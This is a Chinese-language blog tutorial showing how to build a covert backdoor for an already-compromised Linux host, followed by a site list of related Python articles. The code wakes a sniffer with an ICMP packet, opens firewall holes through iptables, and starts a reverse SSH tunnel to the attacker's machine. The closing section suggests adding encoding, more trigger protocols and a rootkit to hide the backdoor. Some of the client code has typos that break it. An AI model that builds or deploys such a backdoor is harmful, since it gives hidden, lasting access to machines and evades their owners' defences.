用Python编写一个简单的CS架构后门的方法


Posted in Python onNovember 20, 2018

0x00:事先说明

  • 你已经攻陷了对方主机且获得了最高权限。
  • 对方的本地防火墙会丢弃所有的外来数据包。
  • 这个后门不会仅绑定在某一个端口上。
  • 这段代码很容易写,毕竟是 Python(准确说是 Python 2.x)。

0x01:工作原理

用Python编写一个简单的CS架构后门的方法

如你所见,客户端将伪造具有 ICMP 负载的特定数据包,另一方面在服务端,也就是我们的被攻击主机,将会接受我们发送的数据包,即使它开启了本地的防火墙(丢弃所有外来数据包)。关键在于无线网卡的监听模式,它无需和 AP 建立连接却可以和接受所有流经空气的数据包。

我们会用到一个有用的第三方包 Scapy。这是它的官方文档。如果你是第一次使用,不妨参考这篇文章,也许会有帮助。

0x02:客户端代码

'''
客户端代码。将服务端的 IP 地址、客户端的 IP 地址、客户端的连接端口,以及连接所需密码作为程序输入。如果成功返回一个交互式后门,在代码硬编码好的位置写入日志文件信息。
'''
#! /usr/bin/env python
import logging
import socket
from scapy.all import *
import os
import os.path
import sys
import time
logging.getLongger("scapy.runtime").setLevel(loggin.ERROR)
file_result = "/tmp/done"
if len(sys.argv) != 5:
 print "usage : " + " IP_SERVER " + " CLIENT_IP " + " PORT_SSH_CLIENT " + “ PASSWORD_CLIENT ”
 sys.exit(1)
server = sys.argv[1]
if os.path.isfile(file_result):
 os.remove(file_result)
load = sys.argv[2] + "|" + sys.argv[3] + "|" + sys.argv[4]
pingr = IP(dst = server) / ICMP() / load
send(pingr, verbose = 0) # send() 函数工作在协议栈的第三层(网络层)

0x04:服务端代码

服务端代码分为两块:1. 主要脚本部分、2. ssh 隧道部分。

'''
服务端代码之主要脚本部分。这个脚本会监听 ICMP 数据包并从句法上分析其携带的数据部分(客户端 IP 地址、客户端连接端口、连接所需密码)。接着在本地打开两个新的防火墙规则。最后调用另一个 expect 脚本,以建立和客户端之间稳定的 ssh 连接。
'''
#! /usr/bin/env python
import logging
import socket
from scapy.all import *
import re
import subprocess # py2.4 新增模块,允许用户编写代码生成新进程,连接到它们的 input/output/error 管道,并获取它们的返回/状态码。
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
def icmp_monitor_callback(pkt):
 reg = re.compile("(.*)\|(.*)\|(.*)")
 g = reg.match(pkt.load)
 if g:
 subprocess.Popen(["/sbin/iptables", "-I", "INPUT", "1","-s",g.group(1),'-j','ACCEPT'])
 subprocess.Popen(["/sbin/iptables", "-I", "OUTPUT", "1","-d",g.group(1),'-j','ACCEPT'])
 p=subprocess.call(["/root/sshtunnel.sh", g.group(1),g.group(2),g.group(3)])
 return
sniff(prn=icmp_monitor_callback, filter="icmp", store=0) # scapy.sniff() 函数会嗅探来自空气中的数据包,prn 参数用来指定回调函数,每当符合 filter 的报文被探测到时,就会执行回调函数。有关该函数的详细信息,可以参考这篇博客:https://thepacketgeek.com/scapy-sniffing-with-custom-actions-part-1/
'''
服务端代码之 ssh 隧道部分,实际上是一个简单的 expect 脚本。接受嗅探到的客户端 IP 地址、客户端端口,以及用于连接的密码作为输入。
'''
#!/usr/bin/expect -f
set ip [lindex $argv 0];
set port [lindex $argv 1];
set password [lindex $argv 2];
spawn ssh -o StrictHostKeyChecking=no -R 19999:localhost:$port $ip
expect "*?assword:*"
send "$password\r"
expect "*#"
send "touch /tmp/done\r"
interact

0x05:文末思考

上面完成的后门代码待完善的地方。

  • ICMP payload 应该被编码。
  • 添加其他的协议用来唤醒该后门(如 http、特定的 syn 包、dns 等)。
  • 写一个 rootkit,隐藏该后门,猥琐欲为。此乃后话。

有关 rootkit 的延伸阅读。

  • https://3water.com/article/151111.htm
  • https://null-byte.wonderhowto.com/how-to/writing-windows-10-rootkit-part-1-0165781/

总结

以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作具有一定的参考学习价值,谢谢大家对三水点靠木的支持。如果你想了解更多相关内容请查看下面相关链接

Python 相关文章推荐
python中enumerate函数遍历元素用法分析
Mar 11 Python
Python自动化运维和部署项目工具Fabric使用实例
Sep 18 Python
基于Python的接口测试框架实例
Nov 04 Python
详解Python3的TFTP文件传输
Jun 26 Python
使用Python 统计高频字数的方法
Jan 31 Python
python爬虫 execjs安装配置及使用
Jul 30 Python
PyQt5+Caffe+Opencv搭建人脸识别登录界面
Aug 28 Python
python xlwt如何设置单元格的自定义背景颜色
Sep 03 Python
TensorFlow:将ckpt文件固化成pb文件教程
Feb 11 Python
浅谈Python3中print函数的换行
Aug 05 Python
Pycharm plot独立窗口显示的操作
Dec 11 Python
Python实例教程之检索输出月份日历表
Dec 16 Python
python pygame实现2048游戏
Nov 20 #Python
python pygame模块编写飞机大战
Nov 20 #Python
Python Scapy随心所欲研究TCP协议栈
Nov 20 #Python
python版飞机大战代码分享
Nov 20 #Python
pygame实现雷电游戏雏形开发
Nov 20 #Python
pygame游戏之旅 游戏中添加显示文字
Nov 20 #Python
pygame游戏之旅 添加键盘按键的方法
Nov 20 #Python
You might like
对盗链说再见...
2006/10/09 PHP
php SQL之where语句生成器
2009/03/24 PHP
php一次性删除前台checkbox多选内容的方法
2013/09/22 PHP
PHP中Laravel 关联查询返回错误id的解决方法
2017/04/01 PHP
大家未必知道的Js技巧收藏
2008/04/07 Javascript
WordPress 照片lightbox效果的运用几点
2009/06/22 Javascript
基于jQuery实现表格数据的动态添加与统计的代码
2011/01/31 Javascript
读JavaScript DOM编程艺术笔记
2011/11/15 Javascript
jQuery AJAX实现调用页面后台方法和web服务定义的方法分享
2012/03/01 Javascript
原生JavaScript实现连连看游戏(附源码)
2013/11/05 Javascript
Bootstrap php制作动态分页标签
2016/12/23 Javascript
微信小程序 引入es6 promise
2017/04/12 Javascript
JS实现下拉菜单列表与登录注册弹窗效果
2017/08/10 Javascript
JavaScript变量类型以及变量作用域详解
2017/08/14 Javascript
jQuery实现滚动到底部时自动加载更多的方法示例
2018/02/18 jQuery
浅谈Vue网络请求之interceptors实际应用
2018/02/28 Javascript
vue2.0 element-ui中el-select选择器无法显示选中的内容(解决方法)
2018/08/24 Javascript
详解vue路由篇(动态路由、路由嵌套)
2019/01/27 Javascript
微信小程序版本自动更新的方法
2019/06/14 Javascript
uniapp微信小程序:key失效的解决方法
2021/01/20 Javascript
用pywin32实现windows模拟鼠标及键盘动作
2014/04/22 Python
pyshp创建shp点文件的方法
2018/12/31 Python
Python中super函数用法实例分析
2019/03/18 Python
使用python实现ftp的文件读写方法
2019/07/02 Python
利用Python实现手机短信监控通知的方法
2019/07/22 Python
Python3视频转字符动画的实例代码
2019/08/29 Python
美国时尚大码女装购物网站:Avenue
2019/05/24 全球购物
Edwaybuy西班牙:小米在线商店
2019/12/04 全球购物
自荐信写法介绍
2014/01/25 职场文书
教师业务培训方案
2014/05/01 职场文书
五好关工委申报材料
2014/05/31 职场文书
关于青春的演讲稿800字
2014/08/22 职场文书
忠诚教育心得体会
2014/09/03 职场文书
如何签定毕业生就业协议书
2014/09/28 职场文书
2019年图书室自查报告范本
2019/10/12 职场文书
mysql实现将字符串字段转为数字排序或比大小
2022/06/14 MySQL